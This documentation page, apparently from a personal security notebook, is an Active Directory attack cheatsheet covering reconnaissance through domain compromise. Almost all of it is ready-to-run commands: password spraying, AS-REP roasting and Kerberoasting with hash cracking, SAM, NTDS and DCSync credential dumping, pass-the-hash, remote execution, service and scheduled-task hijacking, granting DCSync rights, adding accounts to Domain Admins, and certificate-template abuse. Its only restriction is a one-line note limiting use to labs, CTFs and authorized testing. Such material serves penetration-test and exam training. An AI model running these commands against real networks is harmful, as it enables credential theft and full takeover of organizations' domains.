> ## Documentation Index
> Fetch the complete documentation index at: https://journal.daudaldi.my.id/llms.txt
> Use this file to discover all available pages before exploring further.

# Active Directory Cheatsheet

# Active Directory Attack Cheatsheet

> Gunakan hanya pada lab, CTF, atau environment yang memiliki izin pengujian.

# 1. Variables

```bash theme={null}
DC_IP=10.10.10.10
TARGET=10.10.10.20
DOMAIN=corp.local
USER=user
PASS='Password123!'
HASH='aad3b435b51404eeaad3b435b51404ee:NTLM_HASH'
```

***

# 2. Network Discovery

## Host discovery

```bash theme={null}
nmap -sn 10.10.10.0/24
```

## Scan AD ports

```bash theme={null}
nmap -Pn -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,5986 $DC_IP
```

## Full TCP scan

```bash theme={null}
nmap -Pn -p- --open -T4 -oA full-tcp $TARGET
```

***

# 3. Identify Domain

## SMB domain information

```bash theme={null}
nmap -p445 --script smb-os-discovery $TARGET
```

## NetBIOS information

```bash theme={null}
nmblookup -A $TARGET
```

## LDAP RootDSE

```bash theme={null}
ldapsearch -x -H ldap://$DC_IP -s base namingcontexts
```

## DNS SRV records

```bash theme={null}
dig @$DC_IP _ldap._tcp.dc._msdcs.$DOMAIN SRV
```

```bash theme={null}
dig @$DC_IP _kerberos._tcp.$DOMAIN SRV
```

***

# 4. SMB Enumeration

## Anonymous SMB access

```bash theme={null}
smbclient -L //$TARGET -N
```

## Authenticated SMB shares

```bash theme={null}
smbclient -L //$TARGET -U "$DOMAIN/$USER%$PASS"
```

## Connect to share

```bash theme={null}
smbclient //$TARGET/SHARE -U "$DOMAIN/$USER%$PASS"
```

## Recursive download

```bash theme={null}
smbclient //$TARGET/SHARE -U "$DOMAIN/$USER%$PASS" -c 'recurse ON; prompt OFF; mget *'
```

## NetExec SMB enumeration

```bash theme={null}
nxc smb $TARGET
```

```bash theme={null}
nxc smb $TARGET -u $USER -p "$PASS"
```

## List shares

```bash theme={null}
nxc smb $TARGET -u $USER -p "$PASS" --shares
```

## List logged-on users

```bash theme={null}
nxc smb $TARGET -u $USER -p "$PASS" --loggedon-users
```

## Enumerate users

```bash theme={null}
nxc smb $DC_IP -u $USER -p "$PASS" --users
```

## Enumerate groups

```bash theme={null}
nxc smb $DC_IP -u $USER -p "$PASS" --groups
```

## Enumerate domain computers

```bash theme={null}
nxc smb $DC_IP -u $USER -p "$PASS" --computers
```

## SMB signing

```bash theme={null}
nxc smb 10.10.10.0/24 --gen-relay-list relay.txt
```

***

# 5. RPC Enumeration

## Anonymous RPC

```bash theme={null}
rpcclient -U "" -N $DC_IP
```

## Authenticated RPC

```bash theme={null}
rpcclient -U "$DOMAIN/$USER%$PASS" $DC_IP
```

## Enumerate domain users

```text theme={null}
enumdomusers
```

## Enumerate domain groups

```text theme={null}
enumdomgroups
```

## Query user

```text theme={null}
queryuser USER_RID
```

## Query group members

```text theme={null}
querygroupmem GROUP_RID
```

## Domain password policy

```text theme={null}
getdompwinfo
```

***

# 6. LDAP Enumeration

## Anonymous LDAP search

```bash theme={null}
ldapsearch -x -H ldap://$DC_IP -b "DC=corp,DC=local"
```

## Authenticated LDAP search

```bash theme={null}
ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local"
```

## Enumerate users

```bash theme={null}
ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local" \
"(objectClass=user)" sAMAccountName
```

## Enumerate groups

```bash theme={null}
ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local" \
"(objectClass=group)" cn member
```

## Find service accounts

```bash theme={null}
ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local" \
"(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName
```

***

# 7. Username Enumeration

## Kerbrute user enumeration

```bash theme={null}
kerbrute userenum \
-d $DOMAIN \
--dc $DC_IP \
users.txt
```

## NetExec RID brute force

```bash theme={null}
nxc smb $DC_IP -u '' -p '' --rid-brute
```

## RPC RID enumeration

```bash theme={null}
enum4linux-ng -A $DC_IP
```

***

# 8. Password Policy

## NetExec password policy

```bash theme={null}
nxc smb $DC_IP -u $USER -p "$PASS" --pass-pol
```

## RPC password policy

```bash theme={null}
rpcclient -U "$DOMAIN/$USER%$PASS" $DC_IP -c getdompwinfo
```

***

# 9. Password Spraying

## Kerbrute password spray

```bash theme={null}
kerbrute passwordspray \
-d $DOMAIN \
--dc $DC_IP \
users.txt "$PASS"
```

## NetExec password spray

```bash theme={null}
nxc smb $DC_IP -u users.txt -p "$PASS" --continue-on-success
```

***

# 10. AS-REP Roasting

## Find users without Kerberos pre-authentication

```bash theme={null}
impacket-GetNPUsers \
"$DOMAIN/" \
-dc-ip $DC_IP \
-usersfile users.txt \
-no-pass \
-format hashcat \
-outputfile asrep.txt
```

## Authenticated AS-REP enumeration

```bash theme={null}
impacket-GetNPUsers \
"$DOMAIN/$USER:$PASS" \
-dc-ip $DC_IP \
-request
```

## Crack AS-REP hash

```bash theme={null}
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

***

# 11. Kerberoasting

## Request service ticket hashes

```bash theme={null}
impacket-GetUserSPNs \
"$DOMAIN/$USER:$PASS" \
-dc-ip $DC_IP \
-request \
-outputfile kerberoast.txt
```

## Kerberoasting with NTLM hash

```bash theme={null}
impacket-GetUserSPNs \
"$DOMAIN/$USER" \
-hashes "$HASH" \
-dc-ip $DC_IP \
-request
```

## Crack Kerberoast hash

```bash theme={null}
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
```

***

# 12. BloodHound Enumeration

## BloodHound Python collector

```bash theme={null}
bloodhound-python \
-u $USER \
-p "$PASS" \
-d $DOMAIN \
-ns $DC_IP \
-c All
```

## Use DC IP explicitly

```bash theme={null}
bloodhound-python \
-u $USER \
-p "$PASS" \
-d $DOMAIN \
-dc dc01.$DOMAIN \
-ns $DC_IP \
-c All
```

## PowerShell SharpHound collection

```powershell theme={null}
.\SharpHound.exe -c All
```

## Zip SharpHound output

```powershell theme={null}
.\SharpHound.exe -c All --zipfilename bloodhound.zip
```

***

# 13. PowerView Enumeration

## Import PowerView

```powershell theme={null}
Import-Module .\PowerView.ps1
```

## Current domain

```powershell theme={null}
Get-Domain
```

## Domain users

```powershell theme={null}
Get-DomainUser
```

## Domain groups

```powershell theme={null}
Get-DomainGroup
```

## Domain computers

```powershell theme={null}
Get-DomainComputer
```

## Domain controllers

```powershell theme={null}
Get-DomainController
```

## Domain admins

```powershell theme={null}
Get-DomainGroupMember "Domain Admins"
```

## User group memberships

```powershell theme={null}
Get-DomainGroup -MemberIdentity USER
```

## Find local admin access

```powershell theme={null}
Find-LocalAdminAccess
```

## Find domain sessions

```powershell theme={null}
Find-DomainUserLocation
```

## Find interesting ACLs

```powershell theme={null}
Find-InterestingDomainAcl
```

## Enumerate ACL for user

```powershell theme={null}
Get-DomainObjectAcl -Identity USER -ResolveGUIDs
```

***

# 14. Windows Local Enumeration

## Current user

```cmd theme={null}
whoami
```

## User privileges

```cmd theme={null}
whoami /priv
```

## User groups

```cmd theme={null}
whoami /groups
```

## Local users

```cmd theme={null}
net user
```

## Local groups

```cmd theme={null}
net localgroup
```

## Administrators group

```cmd theme={null}
net localgroup administrators
```

## System information

```cmd theme={null}
systeminfo
```

## Hostname

```cmd theme={null}
hostname
```

## Network information

```cmd theme={null}
ipconfig /all
```

## Routing table

```cmd theme={null}
route print
```

## ARP table

```cmd theme={null}
arp -a
```

## Running processes

```cmd theme={null}
tasklist /v
```

## Running services

```cmd theme={null}
sc query
```

## Scheduled tasks

```cmd theme={null}
schtasks /query /fo LIST /v
```

## Installed software

```powershell theme={null}
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*
```

## Environment variables

```cmd theme={null}
set
```

***

# 15. WinPEAS

## Run WinPEAS

```cmd theme={null}
winPEASx64.exe
```

## Save output

```cmd theme={null}
winPEASx64.exe > winpeas.txt
```

***

# 16. PowerUp

## Import PowerUp

```powershell theme={null}
Import-Module .\PowerUp.ps1
```

## Run all checks

```powershell theme={null}
Invoke-AllChecks
```

## Find modifiable services

```powershell theme={null}
Get-ModifiableServiceFile
```

## Find unquoted service paths

```powershell theme={null}
Get-UnquotedService
```

## Find AlwaysInstallElevated

```powershell theme={null}
Get-RegistryAlwaysInstallElevated
```

***

# 17. Service Enumeration

## Query service

```cmd theme={null}
sc qc SERVICE_NAME
```

## Query service permissions

```cmd theme={null}
accesschk.exe /accepteula -uwcqv USER SERVICE_NAME
```

## Find writable service binary

```cmd theme={null}
accesschk.exe /accepteula -quvw "C:\Path\service.exe"
```

## Modify service binary path

```cmd theme={null}
sc config SERVICE_NAME binPath= "C:\Temp\payload.exe"
```

## Restart service

```cmd theme={null}
sc stop SERVICE_NAME
```

```cmd theme={null}
sc start SERVICE_NAME
```

***

# 18. Unquoted Service Path

## Find unquoted service paths

```cmd theme={null}
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"
```

## Check path permissions

```cmd theme={null}
icacls "C:\Program Files\Vulnerable App"
```

***

# 19. AlwaysInstallElevated

## Check current user policy

```cmd theme={null}
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

## Check local machine policy

```cmd theme={null}
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

## Install MSI package

```cmd theme={null}
msiexec /quiet /qn /i payload.msi
```

***

# 20. Scheduled Task Privilege Escalation

## List scheduled tasks

```cmd theme={null}
schtasks /query /fo LIST /v
```

## Check task binary permissions

```cmd theme={null}
icacls "C:\Path\task.exe"
```

## Replace writable task binary

```cmd theme={null}
copy payload.exe "C:\Path\task.exe"
```

***

# 21. Stored Credentials

## Windows Credential Manager

```cmd theme={null}
cmdkey /list
```

## Run command with stored credentials

```cmd theme={null}
runas /savecred /user:DOMAIN\USER cmd.exe
```

## Search configuration files

```cmd theme={null}
findstr /si password *.txt *.xml *.ini *.config
```

## Search PowerShell history

```powershell theme={null}
Get-Content (Get-PSReadLineOption).HistorySavePath
```

## Search unattended files

```cmd theme={null}
dir /s /b C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml
```

***

# 22. Registry Credential Search

## Search registry for passwords

```cmd theme={null}
reg query HKLM /f password /t REG_SZ /s
```

```cmd theme={null}
reg query HKCU /f password /t REG_SZ /s
```

## AutoLogon credentials

```cmd theme={null}
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

***

# 23. Token Privileges

## Check privileges

```cmd theme={null}
whoami /priv
```

## SeImpersonate detection

```cmd theme={null}
whoami /priv | findstr SeImpersonate
```

## PrintSpoofer

```cmd theme={null}
PrintSpoofer64.exe -i -c cmd
```

## GodPotato

```cmd theme={null}
GodPotato.exe -cmd "cmd /c whoami"
```

***

# 24. Credential Dumping

## Save SAM and SYSTEM

```cmd theme={null}
reg save HKLM\SAM C:\Temp\SAM
```

```cmd theme={null}
reg save HKLM\SYSTEM C:\Temp\SYSTEM
```

```cmd theme={null}
reg save HKLM\SECURITY C:\Temp\SECURITY
```

## Extract local hashes

```bash theme={null}
impacket-secretsdump \
-sam SAM \
-system SYSTEM \
-security SECURITY \
LOCAL
```

## Remote credential dump

```bash theme={null}
impacket-secretsdump \
"$DOMAIN/$USER:$PASS@$TARGET"
```

## Pass-the-hash credential dump

```bash theme={null}
impacket-secretsdump \
-hashes "$HASH" \
"$DOMAIN/$USER@$TARGET"
```

***

# 25. Pass-the-Hash

## NetExec

```bash theme={null}
nxc smb $TARGET -u $USER -H NTLM_HASH
```

## Evil-WinRM

```bash theme={null}
evil-winrm -i $TARGET -u $USER -H NTLM_HASH
```

## PsExec

```bash theme={null}
impacket-psexec \
-hashes "$HASH" \
"$DOMAIN/$USER@$TARGET"
```

## WMIExec

```bash theme={null}
impacket-wmiexec \
-hashes "$HASH" \
"$DOMAIN/$USER@$TARGET"
```

## SMBExec

```bash theme={null}
impacket-smbexec \
-hashes "$HASH" \
"$DOMAIN/$USER@$TARGET"
```

***

# 26. WinRM Access

## Password authentication

```bash theme={null}
evil-winrm -i $TARGET -u $USER -p "$PASS"
```

## Hash authentication

```bash theme={null}
evil-winrm -i $TARGET -u $USER -H NTLM_HASH
```

## Upload file

```text theme={null}
upload file.exe
```

## Download file

```text theme={null}
download file.txt
```

***

# 27. SMB Remote Execution

## PsExec

```bash theme={null}
impacket-psexec \
"$DOMAIN/$USER:$PASS@$TARGET"
```

## WMIExec

```bash theme={null}
impacket-wmiexec \
"$DOMAIN/$USER:$PASS@$TARGET"
```

## SMBExec

```bash theme={null}
impacket-smbexec \
"$DOMAIN/$USER:$PASS@$TARGET"
```

## ATExec

```bash theme={null}
impacket-atexec \
"$DOMAIN/$USER:$PASS@$TARGET" \
"whoami"
```

***

# 28. RDP Access

## Password authentication

```bash theme={null}
xfreerdp /v:$TARGET /u:$USER /p:"$PASS" /d:$DOMAIN /cert:ignore
```

## Pass-the-hash

```bash theme={null}
xfreerdp /v:$TARGET /u:$USER /pth:NTLM_HASH /d:$DOMAIN /cert:ignore
```

***

# 29. Group Membership Abuse

## Add user to local administrators

```cmd theme={null}
net localgroup administrators USER /add
```

## Add user to domain group

```powershell theme={null}
net group "Domain Admins" USER /add /domain
```

## PowerView group addition

```powershell theme={null}
Add-DomainGroupMember -Identity "GROUP" -Members "USER"
```

***

# 30. GenericAll / GenericWrite Abuse

## Change target user password

```bash theme={null}
net rpc password TARGET_USER 'NewPassword123!' \
-U "$DOMAIN/$USER%$PASS" \
-S $DC_IP
```

## PowerView password reset

```powershell theme={null}
$SecPassword = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
```

```powershell theme={null}
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $SecPassword
```

## Add user to group

```powershell theme={null}
Add-DomainGroupMember -Identity "GROUP" -Members "USER"
```

***

# 31. ForceChangePassword Abuse

## Change password with RPC

```bash theme={null}
net rpc password TARGET_USER 'NewPassword123!' \
-U "$DOMAIN/$USER%$PASS" \
-S $DC_IP
```

***

# 32. WriteDACL Abuse

## Grant DCSync rights

```bash theme={null}
impacket-dacledit \
-action write \
-rights DCSync \
-principal $USER \
-target-dn "DC=corp,DC=local" \
"$DOMAIN/$USER:$PASS"
```

## Restore ACL backup

```bash theme={null}
impacket-dacledit \
-action restore \
-file dacledit-*.bak \
"$DOMAIN/$USER:$PASS"
```

***

# 33. Ownership Abuse

## Change object owner

```bash theme={null}
impacket-owneredit \
-action write \
-new-owner $USER \
-target TARGET_USER \
"$DOMAIN/$USER:$PASS"
```

***

# 34. DCSync

## Dump domain hashes

```bash theme={null}
impacket-secretsdump \
-just-dc \
"$DOMAIN/$USER:$PASS@$DC_IP"
```

## Dump NTDS hashes only

```bash theme={null}
impacket-secretsdump \
-just-dc-ntlm \
"$DOMAIN/$USER:$PASS@$DC_IP"
```

## Dump specific user

```bash theme={null}
impacket-secretsdump \
-just-dc-user Administrator \
"$DOMAIN/$USER:$PASS@$DC_IP"
```

***

# 35. Domain Controller Credential Dump

## NTDSUtil snapshot

```cmd theme={null}
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ntds" q q
```

## Extract NTDS hashes

```bash theme={null}
impacket-secretsdump \
-ntds ntds.dit \
-system SYSTEM \
LOCAL
```

***

# 36. AD CS Enumeration

## Find certificate services

```bash theme={null}
certipy find \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-dc-ip $DC_IP
```

## Vulnerable templates only

```bash theme={null}
certipy find \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-dc-ip $DC_IP \
-vulnerable
```

## BloodHound output

```bash theme={null}
certipy find \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-dc-ip $DC_IP \
-old-bloodhound
```

***

# 37. AD CS ESC1

## Request certificate

```bash theme={null}
certipy req \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-ca CA_NAME \
-template TEMPLATE_NAME \
-upn administrator@$DOMAIN \
-dc-ip $DC_IP
```

## Authenticate with certificate

```bash theme={null}
certipy auth \
-pfx administrator.pfx \
-dc-ip $DC_IP
```

***

# 38. Shadow Credentials

## Add shadow credential

```bash theme={null}
certipy shadow auto \
-u "$USER@$DOMAIN" \
-p "$PASS" \
-account TARGET_USER \
-dc-ip $DC_IP
```

***

# 39. GPP Passwords

## Search SYSVOL

```bash theme={null}
smbclient //$DC_IP/SYSVOL \
-U "$DOMAIN/$USER%$PASS"
```

## Search for cpassword

```bash theme={null}
grep -R "cpassword" .
```

## Decrypt GPP password

```bash theme={null}
gpp-decrypt CPASSWORD_VALUE
```

***

# 40. SYSVOL Enumeration

## Mount SYSVOL

```bash theme={null}
smbclient //$DC_IP/SYSVOL \
-U "$DOMAIN/$USER%$PASS"
```

## Recursive download

```bash theme={null}
smbclient //$DC_IP/SYSVOL \
-U "$DOMAIN/$USER%$PASS" \
-c 'recurse ON; prompt OFF; mget *'
```

## Search scripts and credentials

```bash theme={null}
grep -RniE "password|passwd|pwd|secret|credential" .
```

***

# 41. LAPS Enumeration

## NetExec LAPS

```bash theme={null}
nxc ldap $DC_IP \
-u $USER \
-p "$PASS" \
-M laps
```

## LDAP search

```bash theme={null}
ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" \
-w "$PASS" \
-b "DC=corp,DC=local" \
"(ms-MCS-AdmPwd=*)" \
ms-MCS-AdmPwd
```

***

# 42. MSSQL Enumeration

## Check MSSQL access

```bash theme={null}
nxc mssql $TARGET -u $USER -p "$PASS"
```

## MSSQL shell

```bash theme={null}
impacket-mssqlclient \
"$DOMAIN/$USER:$PASS@$TARGET" \
-windows-auth
```

## Enable xp\_cmdshell

```sql theme={null}
enable_xp_cmdshell
```

## Execute command

```sql theme={null}
xp_cmdshell whoami
```

***

# 43. Pivoting Enumeration

## Identify additional networks

```cmd theme={null}
ipconfig /all
```

```cmd theme={null}
route print
```

## Test internal ports

```powershell theme={null}
Test-NetConnection 10.10.20.10 -Port 445
```

## PowerShell port scan

```powershell theme={null}
1..1024 | % {
  Test-NetConnection 10.10.20.10 -Port $_ -WarningAction SilentlyContinue
}
```

***

# 44. Useful Net Commands

## Domain users

```cmd theme={null}
net user /domain
```

## Domain groups

```cmd theme={null}
net group /domain
```

## Domain admins

```cmd theme={null}
net group "Domain Admins" /domain
```

## User information

```cmd theme={null}
net user USER /domain
```

## Domain controllers

```cmd theme={null}
nltest /dclist:DOMAIN
```

## Current domain controller

```cmd theme={null}
nltest /dsgetdc:DOMAIN
```

## Domain trust

```cmd theme={null}
nltest /domain_trusts
```

***

# 45. Domain Trust Enumeration

## PowerView trusts

```powershell theme={null}
Get-DomainTrust
```

## Forest trusts

```powershell theme={null}
Get-ForestTrust
```

## NetExec trust enumeration

```bash theme={null}
nxc ldap $DC_IP -u $USER -p "$PASS" --trusted-for-delegation
```

***

# 46. Delegation Enumeration

## Unconstrained delegation

```bash theme={null}
impacket-findDelegation \
"$DOMAIN/$USER:$PASS" \
-dc-ip $DC_IP
```

## PowerView unconstrained delegation

```powershell theme={null}
Get-DomainComputer -Unconstrained
```

## Constrained delegation

```powershell theme={null}
Get-DomainUser -TrustedToAuth
```

```powershell theme={null}
Get-DomainComputer -TrustedToAuth
```

***

# 47. Ticket Handling

## Set Kerberos cache

```bash theme={null}
export KRB5CCNAME=ticket.ccache
```

## List Kerberos tickets

```bash theme={null}
klist
```

## Use Kerberos authentication

```bash theme={null}
impacket-wmiexec \
-k \
-no-pass \
"$DOMAIN/$USER@$TARGET"
```

***

# 48. Quick OSCP Workflow

## Step 1 — Scan

```bash theme={null}
nmap -Pn -sC -sV -p53,88,135,139,389,445,464,636,3268,3389,5985 $DC_IP
```

## Step 2 — Enumerate SMB

```bash theme={null}
nxc smb $DC_IP
```

```bash theme={null}
smbclient -L //$DC_IP -N
```

## Step 3 — Enumerate users

```bash theme={null}
kerbrute userenum -d $DOMAIN --dc $DC_IP users.txt
```

## Step 4 — AS-REP Roast

```bash theme={null}
impacket-GetNPUsers "$DOMAIN/" \
-dc-ip $DC_IP \
-usersfile users.txt \
-no-pass \
-format hashcat
```

## Step 5 — Test credentials

```bash theme={null}
nxc smb $DC_IP -u users.txt -p passwords.txt --continue-on-success
```

## Step 6 — Kerberoast

```bash theme={null}
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" \
-dc-ip $DC_IP \
-request
```

## Step 7 — BloodHound

```bash theme={null}
bloodhound-python \
-u $USER \
-p "$PASS" \
-d $DOMAIN \
-ns $DC_IP \
-c All
```

## Step 8 — Find access

```bash theme={null}
nxc smb 10.10.10.0/24 -u $USER -p "$PASS"
```

## Step 9 — Remote shell

```bash theme={null}
evil-winrm -i $TARGET -u $USER -p "$PASS"
```

## Step 10 — Local privilege escalation

```cmd theme={null}
whoami /priv
```

```cmd theme={null}
winPEASx64.exe
```

```powershell theme={null}
Invoke-AllChecks
```

## Step 11 — Dump credentials

```bash theme={null}
impacket-secretsdump "$DOMAIN/$USER:$PASS@$TARGET"
```

## Step 12 — Reuse credentials

```bash theme={null}
nxc smb 10.10.10.0/24 -u users.txt -H hashes.txt --continue-on-success
```

***

# 49. Essential Commands to Memorise

```bash theme={null}
nxc smb $DC_IP
```

```bash theme={null}
smbclient -L //$DC_IP -N
```

```bash theme={null}
kerbrute userenum -d $DOMAIN --dc $DC_IP users.txt
```

```bash theme={null}
impacket-GetNPUsers "$DOMAIN/" -dc-ip $DC_IP -usersfile users.txt -no-pass
```

```bash theme={null}
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP -request
```

```bash theme={null}
bloodhound-python -u $USER -p "$PASS" -d $DOMAIN -ns $DC_IP -c All
```

```bash theme={null}
evil-winrm -i $TARGET -u $USER -p "$PASS"
```

```cmd theme={null}
whoami /priv
```

```cmd theme={null}
winPEASx64.exe
```

```bash theme={null}
impacket-secretsdump "$DOMAIN/$USER:$PASS@$TARGET"
```

```bash theme={null}
impacket-psexec "$DOMAIN/$USER:$PASS@$TARGET"
```

```bash theme={null}
nxc smb 10.10.10.0/24 -u $USER -p "$PASS"
```